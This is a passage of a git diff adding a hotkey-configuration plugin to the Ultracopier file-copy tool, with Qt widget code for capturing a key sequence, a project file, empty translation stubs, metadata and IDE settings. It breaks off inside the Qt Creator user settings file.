+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Environment.h b/plugins-alternative/PluginLoader/keybinding/Environment.h
index 7ac6f16..265a5a6 100644
--- a/plugins/CopyEngine/Ultracopier-0.3/Environment.h
+++ b/plugins-alternative/PluginLoader/keybinding/Environment.h
@@ -1,12 +1,10 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
#include "StructEnumDefinition.h"
-#include "StructEnumDefinition_CopyEngine.h"
#include "DebugEngineMacro.h"
-#include "CompilerInfo.h"
+
diff --git a/plugins-alternative/PluginLoader/keybinding/KeyBind.cpp b/plugins-alternative/PluginLoader/keybinding/KeyBind.cpp
new file mode 100644
index 0000000..0fd5287
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/KeyBind.cpp
@@ -0,0 +1,11 @@
+#include "KeyBind.h"
+
+KeyBind::KeyBind(QWidget *parent) :
+ QLineEdit(parent)
+{
+}
+
+void KeyBind::keyPressEvent(QKeyEvent * event)
+{
+ emit newKey(event);
+}
diff --git a/plugins-alternative/PluginLoader/keybinding/KeyBind.h b/plugins-alternative/PluginLoader/keybinding/KeyBind.h
new file mode 100644
index 0000000..f4abf68
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/KeyBind.h
@@ -0,0 +1,18 @@
+#ifndef KEYBIND_H
+#define KEYBIND_H
+
+#include <QLineEdit>
+
+class KeyBind : public QLineEdit
+{
+ Q_OBJECT
+public:
+ explicit KeyBind(QWidget *parent = 0);
+
+signals:
+ void newKey(QKeyEvent * event);
+public slots:
+ void keyPressEvent(QKeyEvent * event);
+};
+
+#endif // KEYBIND_H
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/ar/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/ar/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/ar/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/de/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/de/translation.ts
new file mode 100644
index 0000000..fe80b91
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/de/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="de" sourcelanguage="en">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/el/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/el/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/el/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/en/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/en/translation.ts
new file mode 100644
index 0000000..f92b6b5
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/en/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="en">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/es/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/es/translation.ts
new file mode 100644
index 0000000..c72ba56
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/es/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="es" sourcelanguage="en">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/fr/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/fr/translation.ts
new file mode 100644
index 0000000..513e265
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/fr/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="fr" sourcelanguage="en">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/hi/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/hi/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/hi/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/hu/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/hu/translation.ts
new file mode 100644
index 0000000..cb3bde6
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/hu/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/id/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/id/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/id/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/it/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/it/translation.ts
new file mode 100644
index 0000000..a2257e5
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/it/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="it_IT">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/ja/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/ja/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/ja/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/ko/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/ko/translation.ts
new file mode 100644
index 0000000..18f47bb
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/ko/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ko_KR">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/nl/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/nl/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/nl/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/no/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/no/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/no/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/pl/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/pl/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/pl/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/pt/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/pt/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/pt/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/ru/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/ru/translation.ts
new file mode 100644
index 0000000..38a6bfd
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/ru/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ru" sourcelanguage="en">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/th/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/th/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/th/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/tr/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/tr/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/tr/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/Languages/zh/translation.ts b/plugins-alternative/PluginLoader/keybinding/Languages/zh/translation.ts
new file mode 100644
index 0000000..07a7469
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Languages/zh/translation.ts
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+</TS>
diff --git a/plugins-alternative/PluginLoader/keybinding/OptionsWidget.cpp b/plugins-alternative/PluginLoader/keybinding/OptionsWidget.cpp
new file mode 100644
index 0000000..a48e61f
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/OptionsWidget.cpp
@@ -0,0 +1,55 @@
+#include "OptionsWidget.h"
+#include "KeyBind.h"
+#include "ui_OptionsWidget.h"
+
+#include <QKeyEvent>
+
+OptionsWidget::OptionsWidget(QWidget *parent) :
+ QWidget(parent),
+ modifier(QList<int>() << Qt::Key_Control << Qt::Key_Shift << Qt::Key_Super_R << Qt::Key_Super_L << Qt::Key_Meta << Qt::Key_Alt << Qt::Key_AltGr),
+ ui(new Ui::OptionsWidget)
+{
+ ui->setupUi(this);
+
+ keyBind=new KeyBind(this);
+ ui->vboxLayout->addWidget(keyBind);
+ connect(keyBind,&KeyBind::newKey,this,&OptionsWidget::newKeyBind);
+}
+
+OptionsWidget::~OptionsWidget()
+{
+ delete ui;
+}
+
+void OptionsWidget::retranslate()
+{
+ ui->retranslateUi(this);
+}
+
+void OptionsWidget::setKeyBind(const QKeySequence &keySequence)
+{
+ keyBind->setText(keySequence.toString());
+}
+
+void OptionsWidget::newKey(QKeyEvent * event)
+{
+ int keyInt = event->key();
+ if(!modifier.contains(keyInt))
+ {
+ const Qt::KeyboardModifiers &modifiers = event->modifiers();
+ if(modifiers & Qt::ShiftModifier)
+ keyInt += Qt::SHIFT;
+ if(modifiers & Qt::ControlModifier)
+ keyInt += Qt::CTRL;
+ if(modifiers & Qt::AltModifier)
+ keyInt += Qt::ALT;
+ if(modifiers & Qt::MetaModifier)
+ keyInt += Qt::META;
+
+ const QKeySequence &keySeq = QKeySequence(keyInt);
+ keyBind->setText(keySeq.toString());
+
+ sendKeyBind(keySeq);
+ }
+}
+
diff --git a/plugins-alternative/PluginLoader/keybinding/OptionsWidget.h b/plugins-alternative/PluginLoader/keybinding/OptionsWidget.h
new file mode 100644
index 0000000..e0d8e4b
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/OptionsWidget.h
@@ -0,0 +1,31 @@
+#ifndef OptionsWidget_H
+#define OptionsWidget_H
+
+#include <QWidget>
+#include "KeyBind.h"
+
+namespace Ui {
+class OptionsWidget;
+}
+
+class OptionsWidget : public QWidget
+{
+ Q_OBJECT
+
+public:
+ explicit OptionsWidget(QWidget *parent = 0);
+ ~OptionsWidget();
+ void setKeyBind(const QKeySequence &keySequence);
+ void retranslate();
+private:
+ const QList<int> modifier;
+ Ui::OptionsWidget *ui;
+ KeyBind *keyBind;
+private slots:
+ void newKey(QKeyEvent * event);
+signals:
+ void sendKeyBind(const QKeySequence &keySequence);
+ void newKeyBind(QKeyEvent * event);
+};
+
+#endif // OptionsWidget_H
diff --git a/plugins-alternative/PluginLoader/keybinding/OptionsWidget.ui b/plugins-alternative/PluginLoader/keybinding/OptionsWidget.ui
new file mode 100644
index 0000000..2bc3cbe
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/OptionsWidget.ui
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>OptionsWidget</class>
+ <widget class="QWidget" name="OptionsWidget">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>195</width>
+ <height>58</height>
+ </rect>
+ </property>
+ <layout class="QVBoxLayout">
+ <item>
+ <spacer name="verticalSpacer">
+ <property name="orientation">
+ <enum>Qt::Vertical</enum>
+ </property>
+ <property name="sizeHint" stdset="0">
+ <size>
+ <width>20</width>
+ <height>40</height>
+ </size>
+ </property>
+ </spacer>
+ </item>
+ </layout>
+ </widget>
+ <resources/>
+ <connections/>
+</ui>
diff --git a/plugins-alternative/PluginLoader/keybinding/PlatformMacro.h b/plugins-alternative/PluginLoader/keybinding/PlatformMacro.h
new file mode 100644
index 0000000..f7586b0
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/PlatformMacro.h
@@ -0,0 +1 @@
+#include "../../../PlatformMacro.h"
diff --git a/plugins-alternative/CopyEngine/Rsync/StructEnumDefinition.h b/plugins-alternative/PluginLoader/keybinding/StructEnumDefinition.h
index c1758f4..c1758f4 100644
--- a/plugins-alternative/CopyEngine/Rsync/StructEnumDefinition.h
+++ b/plugins-alternative/PluginLoader/keybinding/StructEnumDefinition.h
diff --git a/plugins-alternative/PluginLoader/keybinding/Variable.h b/plugins-alternative/PluginLoader/keybinding/Variable.h
new file mode 100644
index 0000000..90e1557
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/Variable.h
@@ -0,0 +1,16 @@
+/** \file Variable.h
+\brief Define the environment variable
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef VARIABLE_H
+#define VARIABLE_H
+
+//Un-comment this next line to put ultracopier plugin in debug mode
+#define ULTRACOPIER_PLUGIN_DEBUG
+//#define ULTRACOPIER_PLUGIN_ALL_IN_ONE
+
+#endif // VARIABLE_H
+
+
+
diff --git a/plugins-alternative/PluginLoader/keybinding/documentation.dox b/plugins-alternative/PluginLoader/keybinding/documentation.dox
new file mode 100644
index 0000000..08ccc4a
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/documentation.dox
@@ -0,0 +1,34 @@
+/* -*- mode: C++ ; c-file-style: "stroustrup" -*- **/
+
+/*
+ This file contains NO source code, just some documentation for doxygen to
+ parse.
+*/
+
+/*!
+ \mainpage catchcopy-v0002
+
+ \section mainpage_overview Overview
+
+ Is the plugin to load the catchcopy plugin into the windows file manager. Mostly it use the command: regsvr32 /s catchcopy32.dll/catchcopy64.dll\n
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
+
+ \section mainpage_platforms Platforms
+
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
+
+ \section mainpage_downloads Downloads
+
+ You can found link on <a href="http://ultracopier.first-world.info/">Ultracopier (Supercopier/Teracopy)</a> project page, via git, snapshot sources, ...
+
+ \section mainpage_algorithm Requirements
+
+ You can see the documentation on <a href="http://catchcopy.first-world.info/">Catchcopy web site</a>. It use catchcopy32.dll/catchcopy64.dll as explorer plugin for the windows's file manager. Need it into the plugins.\n
+ In function if Ultracopier is compiled by portable version, try load the dll by other way.
+
+ \section license GPL Version 3
+ The code source is under GPL3.
+
+*/
+
diff --git a/plugins-alternative/PluginLoader/keybinding/informations.xml b/plugins-alternative/PluginLoader/keybinding/informations.xml
new file mode 100644
index 0000000..142e9a5
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/informations.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<package>
+ <title xml:lang="en"><![CDATA[Plugin loader for catchcopy v0002]]></title><!-- english is required -->
+ <title xml:lang="fr"><![CDATA[Chargeur de plugin pour catchcopy v0002]]></title>
+ <!-- What kind of plugin this is -->
+ <category>PluginLoader</category>
+ <!-- Who wrote this plugin -->
+ <author><![CDATA[BRULE Herman, alpha_one_x86 (alpha_one_x86@first-world.info)]]></author>
+ <!-- URL of page or site for this plugin (may provide additional information, bug reports, feature requests). -->
+ <website xml:lang="en"><![CDATA[http://ultracopier.first-world.info/]]></website><!-- not required -->
+ <website xml:lang="fr"><![CDATA[http://ultracopier-fr.first-world.info/]]></website><!-- not required -->
+ <!-- the date-time format should be in timestamps format -->
+ <pubDate>1287496800</pubDate>
+ <!-- the architecture code of this plugin, found PlatformMacro.h into ultracopier source -->
+ <architecture>windows-x86</architecture>
+ <!-- Detailed description -->
+ <description xml:lang="en"><![CDATA[Plugin loader for catchcopy v0002. Allow to receive copy list from plugin/explorer compatible with catchcopy.]]></description>
+ <description xml:lang="fr"><![CDATA[Chargeur de plugin pour catchcopy v0002. Permet de recevoir un liste de copie venant d'un plugin/explorateur avec catchcopy.]]></description>
+ <!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
+ <version>1.2.3.6</version>
+ <!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
+ <name>keybinding</name>
+ <!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
+ <dependencies><![CDATA[
+ =ultracopier-1.0
+ ]]></dependencies>
+</package> \ No newline at end of file
diff --git a/plugins-alternative/PluginLoader/keybinding/plugin.json b/plugins-alternative/PluginLoader/keybinding/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins-alternative/PluginLoader/keybinding/pluginLoader.cpp b/plugins-alternative/PluginLoader/keybinding/pluginLoader.cpp
new file mode 100644
index 0000000..387b09e
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/pluginLoader.cpp
@@ -0,0 +1,61 @@
+/** \file pluginLoader.cpp
+\brief Define the session plugin loader test
+\author alpha_one_x86 */
+
+#include "pluginLoader.h"
+#include "PlatformMacro.h"
+
+#include <QFile>
+#include <QDir>
+
+#ifndef Q_OS_UNIX
+#error "Only for unix"
+#endif
+
+KeyBindPlugin::KeyBindPlugin()
+{
+ connect(&optionsWidget,&OptionsWidget::sendKeyBind,this,&KeyBindPlugin::setKeyBind);
+}
+
+KeyBindPlugin::~KeyBindPlugin()
+{
+}
+
+void KeyBindPlugin::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion)
+{
+ Q_UNUSED(options);
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ Q_UNUSED(portableVersion);
+ this->optionsEngine=options;
+ if(optionsEngine!=NULL)
+ {
+ QList<QPair<QString, QVariant> > KeysList;
+ KeysList.append(qMakePair(QStringLiteral("keySequence"),QString()));
+ optionsEngine->addOptionGroup(KeysList);
+ optionsWidget.setKeyBind(QKeySequence::fromString(optionsEngine->getOptionValue("keySequence").toString()));
+ }
+}
+
+/// \brief to get the options widget, NULL if not have
+QWidget * KeyBindPlugin::options()
+{
+ return &optionsWidget;
+}
+
+void KeyBindPlugin::newLanguageLoaded()
+{
+ optionsWidget.retranslate();
+}
+
+/// \brief try enable/disable the catching
+void KeyBindPlugin::setEnabled(const bool &needBeRegistred)
+{
+ Q_UNUSED(needBeRegistred);
+}
+
+void KeyBindPlugin::setKeyBind(const QKeySequence &keySequence)
+{
+ optionsEngine->setOptionValue("keySequence",keySequence);
+}
+
diff --git a/plugins-alternative/PluginLoader/keybinding/pluginLoader.h b/plugins-alternative/PluginLoader/keybinding/pluginLoader.h
new file mode 100644
index 0000000..1361c0d
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/pluginLoader.h
@@ -0,0 +1,47 @@
+/** \file pluginLoader.h
+\brief Define the plugin loader
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef PLUGIN_LOADER_TEST_H
+#define PLUGIN_LOADER_TEST_H
+
+#include <QObject>
+#include <QMessageBox>
+
+#include <QString>
+#include <QStringList>
+#include <QProcess>
+#include <QSet>
+#include <QKeySequence>
+
+#include "../../../interface/PluginInterface_PluginLoader.h"
+#include "Environment.h"
+#include "OptionsWidget.h"
+
+/// \brief \brief Define the plugin loader
+class KeyBindPlugin : public PluginInterface_PluginLoader
+{
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.PluginLoader/1.0.0.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_PluginLoader)
+public:
+ KeyBindPlugin();
+ ~KeyBindPlugin();
+ /// \brief try enable/disable the catching
+ void setEnabled(const bool &needBeRegistred);
+ /// \brief to set resources, writePath can be empty if read only mode
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion);
+ /// \brief to get the options widget, NULL if not have
+ QWidget * options();
+public slots:
+ /// \brief to reload the translation, because the new language have been loaded
+ void newLanguageLoaded();
+private:
+ OptionInterface * optionsEngine;
+ OptionsWidget optionsWidget;
+private slots:
+ void setKeyBind(const QKeySequence &keySequence);
+};
+
+#endif // PLUGIN_LOADER_TEST_H
diff --git a/plugins-alternative/PluginLoader/keybinding/pluginLoader.pro b/plugins-alternative/PluginLoader/keybinding/pluginLoader.pro
new file mode 100644
index 0000000..ad5404b
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/pluginLoader.pro
@@ -0,0 +1,50 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
+TEMPLATE = lib
+CONFIG += plugin
+HEADERS = \
+ StructEnumDefinition.h \
+ pluginLoader.h \
+ DebugEngineMacro.h \
+ Environment.h \
+ Variable.h \
+ PlatformMacro.h \
+ ../../../interface/PluginInterface_PluginLoader.h \
+ OptionsWidget.h \
+ KeyBind.h
+SOURCES = \
+ pluginLoader.cpp \
+ OptionsWidget.cpp \
+ KeyBind.cpp
+TARGET = $$qtLibraryTarget(pluginLoader)
+TRANSLATIONS += Languages/ar/translation.ts \
+ Languages/de/translation.ts \
+ Languages/el/translation.ts \
+ Languages/en/translation.ts \
+ Languages/es/translation.ts \
+ Languages/fr/translation.ts \
+ Languages/hi/translation.ts \
+ Languages/hu/translation.ts \
+ Languages/id/translation.ts \
+ Languages/it/translation.ts \
+ Languages/ja/translation.ts \
+ Languages/ko/translation.ts \
+ Languages/nl/translation.ts \
+ Languages/no/translation.ts \
+ Languages/pl/translation.ts \
+ Languages/pt/translation.ts \
+ Languages/ru/translation.ts \
+ Languages/th/translation.ts \
+ Languages/tr/translation.ts \
+ Languages/zh/translation.ts
+
+FORMS += \
+ OptionsWidget.ui
+
+CONFIG(static, static|shared) {
+DEFINES += ULTRACOPIER_PLUGIN_ALL_IN_ONE
+}
+
diff --git a/plugins-alternative/PluginLoader/keybinding/pluginLoader.pro.user.3.3-pre1 b/plugins-alternative/PluginLoader/keybinding/pluginLoader.pro.user.3.3-pre1
new file mode 100644
index 0000000..c45904e
--- /dev/null
+++ b/plugins-alternative/PluginLoader/keybinding/pluginLoader.pro.user.3.3-pre1
@@ -0,0 +1,266 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE QtCreatorProject>
+<!-- Written by QtCreator 3.2.2, 2015-04-28T09:04:56. -->
+<qtcreator>
+ <data>
+ <variable>EnvironmentId</variable>
+ <value type="QByteArray">{74ab603f-f657-4135-92cf-c93af71b2f91}</value>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.ActiveTarget</variable>
+ <value type="int">0</value>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.EditorSettings</variable>
+ <valuemap type="QVariantMap">
+ <value type="bool" key="EditorConfiguration.AutoIndent">true</value>
+ <value type="bool" key="EditorConfiguration.AutoSpacesForTabs">false</value>
+ <value type="bool" key="EditorConfiguration.CamelCaseNavigation">true</value>
+ <valuemap type="QVariantMap" key="EditorConfiguration.CodeStyle.0">
+ <value type="QString" key="language">Cpp</value>
+ <valuemap type="QVariantMap" key="value">
+ <value type="QByteArray" key="CurrentPreferences">CppGlobal</value>
+ </valuemap>
+ </valuemap>
+ <valuemap type="QVariantMap" key="EditorConfiguration.CodeStyle.1">
+ <value type="QString" key="language">QmlJS</value>
+ <valuemap type="QVariantMap" key="value">
+ <value type="QByteArray" key="CurrentPreferences">QmlJSGlobal</value>
+ </valuemap>
+ </valuemap>
+ <value type="int" key="EditorConfiguration.CodeStyle.Count">2</value>
+ <value type="QByteArray" key="EditorConfiguration.Codec">UTF-8</value>
+ <value type="bool" key="EditorConfiguration.ConstrainTooltips">false</value>
+ <value type="int" key="EditorConfiguration.IndentSize">4</value>
+ <value type="bool" key="EditorConfiguration.KeyboardTooltips">false</value>
+ <value type="int" key="EditorConfiguration.MarginColumn">80</value>
+ <value type="bool" key="EditorConfiguration.MouseHiding">true</value>
+ <value type="bool" key="EditorConfiguration.MouseNavigation">true</value>
+ <value type="int" key="EditorConfiguration.PaddingMode">1</value>
+ <value type="bool" key="EditorConfiguration.ScrollWheelZooming">true</value>
+ <value type="bool" key="EditorConfiguration.ShowMargin">false</value>
+ <value type="int" key="EditorConfiguration.SmartBackspaceBehavior">0</value>
+ <value type="bool" key="EditorConfiguration.SpacesForTabs">true</value>
+ <value type="int" key="EditorConfiguration.TabKeyBehavior">0</value>
+ <value type="int" key="EditorConfiguration.TabSize">8</value>
+ <value type="bool" key="EditorConfiguration.UseGlobal">true</value>
+ <value type="int" key="EditorConfiguration.Utf8BomBehavior">1</value>
+ <value type="bool" key="EditorConfiguration.addFinalNewLine">true</value>
+ <value type="bool" key="EditorConfiguration.cleanIndentation">true</value>
+ <value type="bool" key="EditorConfiguration.cleanWhitespace">true</value>
+ <value type="bool" key="EditorConfiguration.inEntireDocument">true</value>
+ </valuemap>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.PluginSettings</variable>
+ <valuemap type="QVariantMap"/>
+ </data>
+ <data>
+ <variable>ProjectExplorer.Project.Target.0</variable>
+ <valuemap type="QVariantMap">
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Qt5 5.4</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName">Qt5 5.4</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">{f6cc43bb-0436-4d0e-8325-897ff43ef853}</value>
+ <value type="int" key="ProjectExplorer.Target.ActiveBuildConfiguration">0</value>
+ <value type="int" key="ProjectExplorer.Target.ActiveDeployConfiguration">0</value>
+ <value type="int" key="ProjectExplorer.Target.ActiveRunConfiguration">0</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.Target.BuildConfiguration.0">
+ <value type="QString" key="ProjectExplorer.BuildConfiguration.BuildDirectory">/home/user/Desktop/ultracopier/sources/plugins-alternative/PluginLoader/build-pluginLoader-Qt5_5_2-Debug</value>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildConfiguration.BuildStepList.0">
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.0">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">qmake</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">QtProjectManager.QMakeBuildStep</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibrary">false</value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.LinkQmlDebuggingLibraryAuto">true</value>
+ <value type="QString" key="QtProjectManager.QMakeBuildStep.QMakeArguments"></value>
+ <value type="bool" key="QtProjectManager.QMakeBuildStep.QMakeForced">false</value>
+ </valuemap>
+ <valuemap type="QVariantMap" key="ProjectExplorer.BuildStepList.Step.1">
+ <value type="bool" key="ProjectExplorer.BuildStep.Enabled">true</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DefaultDisplayName">Make</value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.DisplayName"></value>
+ <value type="QString" key="ProjectExplorer.ProjectConfiguration.Id">Qt4ProjectManager.MakeStep</value>
